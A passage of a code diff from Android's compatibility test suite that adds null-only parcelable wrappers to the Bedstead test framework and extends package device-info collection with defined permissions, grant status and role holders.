+        return isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
     }
 
     static boolean isCurrentUserOnHeadlessSystemUser(Context context) {
-        return UserManager.isHeadlessSystemUserMode()
+        return isHeadlessSystemUserMode()
                 && context.getSystemService(UserManager.class).isUserForeground();
     }
 
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
index d93ff7e..465ceb6 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
@@ -276,12 +276,10 @@
             // AccountManager
 
             // Uses Activity
-            "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> finishSession(android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> editProperties(String, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthTokenByFeatures(String, String, String[], android.app.Activity, android.os.Bundle, android.os.Bundle, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
-            "public android.accounts.AccountManagerFuture<android.os.Bundle> removeAccount(android.accounts.Account, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> startAddAccountSession(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> startUpdateCredentialsSession(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> updateCredentials(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
@@ -295,7 +293,6 @@
             // Uses AccountManagerCallback
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
-            "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.os.Bundle hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
@@ -304,7 +301,6 @@
             "public android.accounts.AccountManagerFuture<java.lang.Boolean> hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
             "public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException",
             "public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
-            "public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)",
 
             // Uses android.accounts.AccountManager
@@ -641,6 +637,18 @@
     private static final ClassName NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME =
             ClassName.get("com.android.bedstead.remoteframeworkclasses",
                     "NullParcelableRemoteContentResolver");
+
+    // TODO(b/205562849): These only support passing null, which is fine for existing tests but will be misleading
+    private static final ClassName NULL_PARCELABLE_ACTIVITY_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableActivity");
+    private static final ClassName NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableAccountManagerCallback");
+    private static final ClassName NULL_HANDLER_CALLBACK_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableHandler");
+
     private static final ClassName COMPONENT_NAME_CLASSNAME =
             ClassName.get("android.content", "ComponentName");
 
@@ -678,6 +686,9 @@
     private void generateWrappers() {
         generateWrapper(NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME);
         generateWrapper(NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME);
+        generateWrapper(NULL_PARCELABLE_ACTIVITY_CLASSNAME);
+        generateWrapper(NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME);
+        generateWrapper(NULL_HANDLER_CALLBACK_CLASSNAME);
     }
 
     private void generateWrapper(ClassName className) {
@@ -761,9 +772,8 @@
 
 
         classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
-                .addMember("parcelableWrappers", "{$T.class, $T.class}",
-                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
-                        NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+                .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
                 .addMember("futureWrappers", "$T.class",
                         ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME)
                 .build());
@@ -815,9 +825,8 @@
                 TypeSpec.classBuilder(className).addModifiers(Modifier.FINAL, Modifier.PUBLIC);
 
         classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
-                .addMember("parcelableWrappers", "{$T.class, $T.class}",
-                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
-                        NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+                .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
                 .build());
 
         classBuilder.addField(ClassName.get(frameworkClass),
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
new file mode 100644
index 0000000..4984775
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerCallback;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link AccountManagerCallback} for clients
+ * which do not need to actually use the {@link AccountManagerCallback} param or return value.
+ */
+@CustomParcelableWrapper(originalType = AccountManagerCallback.class)
+public final class NullParcelableAccountManagerCallback<F> implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link AccountManagerCallback}.
+     */
+    public static <F> NullParcelableAccountManagerCallback of(
+            Bundler bundler, BundlerType type,
+            AccountManagerCallback<F> accountManagerCallback) {
+
+        if (accountManagerCallback != null) {
+            throw new IllegalArgumentException("accountManagerCallback can only be null");
+        }
+
+        return new NullParcelableAccountManagerCallback<F>();
+    }
+
+    private NullParcelableAccountManagerCallback() {
+    }
+
+    public AccountManagerCallback<F> get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableAccountManagerCallback> CREATOR =
+            new Creator<NullParcelableAccountManagerCallback>() {
+                @Override
+                public NullParcelableAccountManagerCallback createFromParcel(Parcel in) {
+                    return new NullParcelableAccountManagerCallback();
+                }
+
+                @Override
+                public NullParcelableAccountManagerCallback[] newArray(int size) {
+                    return new NullParcelableAccountManagerCallback[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
new file mode 100644
index 0000000..6000472
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.app.Activity;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Activity} for clients
+ * which do not need to actually use the {@link Activity} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Activity.class)
+public final class NullParcelableActivity implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link Activity}.
+     */
+    public static <F> NullParcelableActivity of(
+            Bundler bundler, BundlerType type,
+            Activity activity) {
+
+       if (activity != null) {
+           throw new IllegalArgumentException("activity can only be null");
+       }
+
+        return new NullParcelableActivity();
+    }
+
+    private NullParcelableActivity() {
+    }
+
+    public Activity get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableActivity> CREATOR =
+            new Creator<NullParcelableActivity>() {
+                @Override
+                public NullParcelableActivity createFromParcel(Parcel in) {
+                    return new NullParcelableActivity();
+                }
+
+                @Override
+                public NullParcelableActivity[] newArray(int size) {
+                    return new NullParcelableActivity[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
new file mode 100644
index 0000000..92692ad
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.os.Handler;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Handler} for clients
+ * which do not need to actually use the {@link Handler} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Handler.class)
+public final class NullParcelableHandler implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link Handler}.
+     */
+    public static <F> NullParcelableHandler of(
+            Bundler bundler, BundlerType type,
+            Handler handler) {
+
+        if (handler != null) {
+            throw new IllegalArgumentException("handler can only be null");
+        }
+
+        return new NullParcelableHandler();
+    }
+
+    private NullParcelableHandler() {
+    }
+
+    public Handler get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableHandler> CREATOR =
+            new Creator<NullParcelableHandler>() {
+                @Override
+                public NullParcelableHandler createFromParcel(Parcel in) {
+                    return new NullParcelableHandler();
+                }
+
+                @Override
+                public NullParcelableHandler[] newArray(int size) {
+                    return new NullParcelableHandler[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
index 22217a3..7225c75 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
@@ -39,6 +39,11 @@
     public static <F> NullParcelableRemoteDevicePolicyManager of(
             Bundler bundler, BundlerType type,
             RemoteDevicePolicyManager remoteDevicePolicyManager) {
+
+        if (remoteDevicePolicyManager != null) {
+            throw new IllegalArgumentException("remoteDevicePolicyManager can only be null");
+        }
+
         return new NullParcelableRemoteDevicePolicyManager();
     }
 
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 32e41a1..fbff1c4 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -15,8 +15,10 @@
  */
 package com.android.compatibility.common.deviceinfo;
 
+import android.Manifest;
 import android.annotation.TargetApi;
 import android.app.admin.DevicePolicyManager;
+import android.app.role.RoleManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
@@ -25,12 +27,16 @@
 import android.content.pm.PermissionInfo;
 import android.os.Build;
 import android.os.Process;
+
 import com.android.compatibility.common.util.DeviceInfoStore;
 import com.android.compatibility.common.util.PackageUtil;
 
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -42,7 +48,8 @@
 public class PackageDeviceInfo extends DeviceInfo {
 
     private static final String PLATFORM = "android";
-    private static final String PLATFORM_PERMISSION_PREFIX = "android.";
+    private static final String PLATFORM_ANDROID_PERMISSION_PREFIX = "android.permission.";
+    private static final String PLATFORM_MANIFEST_PERMISSION_PREFIX = "android.Manifest.permission.";
 
     private static final String PACKAGE = "package";
     private static final String NAME = "name";
@@ -53,17 +60,23 @@
     private static final String TARGET_SDK = "target_sdk";
 
     private static final String REQUESTED_PERMISSIONS = "requested_permissions";
+    private static final String DEFINED_PERMISSIONS = "defined_permissions";
     private static final String PERMISSION_NAME = "name";
     private static final String PERMISSION_FLAGS = "flags";
     private static final String PERMISSION_GROUP = "permission_group";
     private static final String PERMISSION_PROTECTION = "protection_level";
     private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags";
+    private static final String PERMISSION_IS_GRANTED = "is_granted";
+
 
     private static final String PERMISSION_TYPE = "type";
     private static final int PERMISSION_TYPE_SYSTEM = 1;
     private static final int PERMISSION_TYPE_OEM = 2;
     private static final int PERMISSION_TYPE_CUSTOM = 3;
 
+    private static final String REQUESTED_ROLES = "requested_roles";
+    private static final String ROLE_NAME = "name";
+
     private static final String HAS_SYSTEM_UID = "has_system_uid";
 
     private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
@@ -82,6 +95,21 @@
     private static final String CONFIG_ACCESSIBILITY_SERVICE = "config_defaultAccessibilityService";
     private static final String DEFAULT_ACCESSIBILITY_SERVICE = "is_default_accessibility_service";
 
+    private static final HashSet<String> ADDITIONAL_ANDROID_PERMISSIONS = new HashSet<>(Arrays.asList(new String[] {
+        "com.android.voicemail.permission.ADD_VOICEMAIL",
+        "com.android.voicemail.permission.WRITE_VOICEMAIL",
+        "com.android.voicemail.permission.READ_VOICEMAIL",
+        "com.android.browser.permission.READ_HISTORY_BOOKMARKS",
+        "com.android.browser.permission.WRITE_HISTORY_BOOKMARKS",
+        "com.android.alarm.permission.SET_ALARM",
+        "com.android.launcher.permission.INSTALL_SHORTCUT",
+        "com.android.launcher.permission.UNINSTALL_SHORTCUT",
+        "com.android.permission.INSTALL_EXISTING_PACKAGES",
+        "com.android.permission.USE_INSTALLER_V2",
+        "com.android.permission.USE_SYSTEM_DATA_LOADERS",
+        "android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
+    }));
+
 
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -96,6 +124,8 @@
 
         final ComponentName defaultAccessibilityComponent = getDefaultAccessibilityComponent();
 
+        final HashMap<String, List<String>> packageRolesData = getPackageRolesData();
+
         // Platform permission data used to tag permissions information with sourcing information
         final PackageInfo platformInfo = pm.getPackageInfo(PLATFORM , PackageManager.GET_PERMISSIONS);
         final Set<String> platformPermissions = new HashSet<String>();
@@ -109,7 +139,9 @@
             store.addResult(NAME, pkg.packageName);
             store.addResult(VERSION_NAME, pkg.versionName);
 
-            collectPermissions(store, pm, platformPermissions, pkg);
+            collectRequestedPermissions(store, pm, platformPermissions, pkg);
+            collectDefinedPermissions(store, platformPermissions, pkg);
+
             collectionApplicationInfo(store, pm, pkg);
 
             store.addResult(HAS_DEFAULT_NOTIFICATION_ACCESS,
@@ -131,12 +163,14 @@
             String sha256_file = PackageUtil.computePackageFileDigest(pkg);
             store.addResult(SHA256_FILE, sha256_file);
 
+            collectRoles(store, packageRolesData, pkg);
+
             store.endGroup();
         }
         store.endArray(); // "package"
     }
 
-    private static void collectPermissions(DeviceInfoStore store,
+    private static void collectRequestedPermissions(DeviceInfoStore store,
                                            PackageManager pm,
                                            Set<String> systemPermissions,
                                            PackageInfo pkg) throws IOException
@@ -150,20 +184,11 @@
                     final PermissionInfo pi = pm.getPermissionInfo(permission, 0);
 
                     store.startGroup();
-                    store.addResult(PERMISSION_NAME, permission);
-                    writePermissionsDetails(pi, store);
+                    writePermissionsDetails(pi, store, systemPermissions);
 
-                    final boolean isPlatformPermission = systemPermissions.contains(permission);
-                    if (isPlatformPermission) {
-                      final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX);
-                      if (isAndroidPermission) {
-                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
-                      } else {
-                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
-                      }
-                    } else {
-                      store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
-                    }
+                    boolean isGranted = pm.checkPermission(
+                            permission, pkg.packageName) == pm.PERMISSION_GRANTED;
+                    store.addResult(PERMISSION_IS_GRANTED, isGranted);
 
                     store.endGroup();
                 } catch (PackageManager.NameNotFoundException e) {
@@ -174,6 +199,27 @@
         store.endArray();
     }
 
+    private static void collectDefinedPermissions(DeviceInfoStore store,
+                                                  Set<String> systemPermissions,
+                                                  PackageInfo pkg) throws IOException {
+        if (pkg.permissions != null && pkg.permissions.length > 0) {
+            store.startArray(DEFINED_PERMISSIONS);
+            for (PermissionInfo permission : pkg.permissions) {
+                if (permission == null) continue;
+                // Ignore "android" package defined AOSP permissions.
+                if (pkg.packageName.equals(PLATFORM)
+                        && isAndroidPermission(permission.name))
+                    continue;
+
+                store.startGroup();
+                writePermissionsDetails(permission, store, systemPermissions);
+                store.endGroup();
+
+            }
+            store.endArray();
+        }
+    }
+
     private static void collectionApplicationInfo(DeviceInfoStore store,
                                                   PackageManager pm,
                                                   PackageInfo pkg) throws IOException {
@@ -225,8 +271,12 @@
         return sharedPermissions.contains(PackageDeviceInfo.INSTALL_PACKAGES_PERMISSION);
     }
 
-    private static void writePermissionsDetails(PermissionInfo pi, DeviceInfoStore store)
-            throws IOException {
+    private static void writePermissionsDetails(PermissionInfo pi,
+                                                DeviceInfoStore store,
+                                                Set<String> systemPermissions) throws IOException {
+        final String permissionName = pi.name;
+        store.addResult(PERMISSION_NAME, permissionName);
+
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
             store.addResult(PERMISSION_FLAGS, pi.flags);
         } else {
@@ -244,6 +294,18 @@
             store.addResult(PERMISSION_PROTECTION_FLAGS,
                     pi.protectionLevel & ~PermissionInfo.PROTECTION_MASK_BASE);
         }
+
+        final boolean isPlatformPermission = systemPermissions.contains(permissionName);
+        if (isPlatformPermission) {
+            final boolean isAndroidPermission = isAndroidPermission(permissionName);
+            if (isAndroidPermission) {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
+            } else {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
+            }
+        } else {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
+        }
     }
 
     private Set<String> getActiveDeviceAdminPackages() {
@@ -291,5 +353,55 @@
                 .getResources()
                 .getIdentifier(name, type, "android");
     }
+
+    /** Return a boolean value to whether the permission is an android permission defined by android package */
+    private static boolean isAndroidPermission(String permissionName) {
+        if(permissionName.startsWith(PLATFORM_ANDROID_PERMISSION_PREFIX)
+            || permissionName.startsWith(PLATFORM_MANIFEST_PERMISSION_PREFIX)
+            || ADDITIONAL_ANDROID_PERMISSIONS.contains(permissionName))
+            return true;
+        return false;
+    }
+
+    private static void collectRoles(DeviceInfoStore store,
+                                     HashMap<String, List<String>> packageRolesData,
+                                     PackageInfo pkg) throws IOException {
+        String packageName = pkg.packageName;
+        if(packageRolesData.containsKey(packageName)) {
+            List<String> roleNames = packageRolesData.get(packageName);
+
+            store.startArray(REQUESTED_ROLES);
+            for(String roleName: roleNames) {
+                store.startGroup();
+                store.addResult(ROLE_NAME, roleName);
+                store.endGroup();
+            }
+            store.endArray();
+        }
+    }
+
+    /*
+        Return a map of PackageName -> List of RoleNames held by that package
+    */
+    private HashMap<String, List<String>> getPackageRolesData() throws Exception {
+        final RoleManager roleManager = getContext().getSystemService(RoleManager.class);
+        HashMap<String, List<String>> packageRolesData = new HashMap<>();
+
+        for(String roleName: RolesUtil.ROLE_NAMES) {
+            List<String> packageNames = getRoleHolders(roleName, roleManager);
+
+            for(String packageName: packageNames) {
+                packageRolesData.putIfAbsent(packageName, new ArrayList<>());
+                packageRolesData.get(packageName).add(roleName);
+            }
+        }
+        return packageRolesData;
+    }
+
+    public static List<String> getRoleHolders(String roleName, RoleManager roleManager) throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> roleManager.getRoleHolders(roleName),
+                        Manifest.permission.MANAGE_ROLE_HOLDERS);
+    }
 }
 
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
new file mode 100644
index 0000000..65531d5
--- /dev/null
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
@@ -0,0 +1,47 @@
+package com.android.compatibility.common.deviceinfo;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+public class RolesUtil {
+    public final static List<String> ROLE_NAMES = new ArrayList<>(Arrays.asList(new String[] {
+        "android.app.role.ASSISTANT",
+        "android.app.role.AUTOMOTIVE_NAVIGATION",
+        "android.app.role.BROWSER",
+        "android.app.role.CALL_REDIRECTION",
+        "android.app.role.CALL_SCREENING",
+        "android.app.role.COMPANION_DEVICE_APP_STREAMING",
+        "android.app.role.COMPANION_DEVICE_COMPUTER",
+        "android.app.role.COMPANION_DEVICE_WATCH",
+        "android.app.role.DEVICE_POLICY_MANAGEMENT",
+        "android.app.role.DIALER",
+        "android.app.role.EMERGENCY",
+        "android.app.role.HOME",
+        "android.app.role.SMS",
+        "android.app.role.SYSTEM_ACTIVITY_RECOGNIZER",
+        "android.app.role.SYSTEM_AMBIENT_AUDIO_INTELLIGENCE",
+        "android.app.role.SYSTEM_APP_PROTECTION_SERVICE",
+        "android.app.role.SYSTEM_AUDIO_INTELLIGENCE",
+        "android.app.role.SYSTEM_AUTOMOTIVE_CALENDAR_SYNC_MANAGER",
+        "android.app.role.SYSTEM_AUTOMOTIVE_CLUSTER",
+        "android.app.role.SYSTEM_AUTOMOTIVE_PROJECTION",
+        "android.app.role.SYSTEM_COMPANION_DEVICE_PROVIDER",
+        "android.app.role.SYSTEM_CONTACTS",
+        "android.app.role.SYSTEM_DOCUMENT_MANAGER",
+        "android.app.role.SYSTEM_GALLERY",
+        "android.app.role.SYSTEM_NOTIFICATION_INTELLIGENCE",
+        "android.app.role.SYSTEM_SETTINGS_INTELLIGENCE",
+        "android.app.role.SYSTEM_SHELL",
+        "android.app.role.SYSTEM_SPEECH_RECOGNIZER",
+        "android.app.role.SYSTEM_SUPERVISION",
+        "android.app.role.SYSTEM_TELEVISION_NOTIFICATION_HANDLER",
+        "android.app.role.SYSTEM_TELEVISION_REMOTE_SERVICE",
+        "android.app.role.SYSTEM_TEXT_INTELLIGENCE",
+        "android.app.role.SYSTEM_UI",
+        "android.app.role.SYSTEM_UI_INTELLIGENCE",
+        "android.app.role.SYSTEM_VISUAL_INTELLIGENCE",
+        "android.app.role.SYSTEM_WELLBEING",
+        "android.app.role.SYSTEM_WIFI_COEX_MANAGER",
+    }));
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
index 5aa36c9..30084ea 100755
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -27,6 +27,7 @@
 import android.net.Uri;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
+import android.os.Process;
 import android.text.TextUtils;
 import android.util.Log;
 
@@ -61,6 +62,7 @@
 
     private final Context mContext;
     private final WifiManager mWifiManager;
+    private WifiManager mCurrentUserWifiManager;
 
     public WifiConfigCreator(Context context) {
         this(context, context.getApplicationContext().getSystemService(WifiManager.class));
@@ -69,6 +71,15 @@
     public WifiConfigCreator(Context context, WifiManager wifiManager) {
         mContext = context;
         mWifiManager = wifiManager;
+        mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+        Log.d(TAG, "WifiConfigCreator: user=" + Process.myUserHandle() + ", ctx=" + context
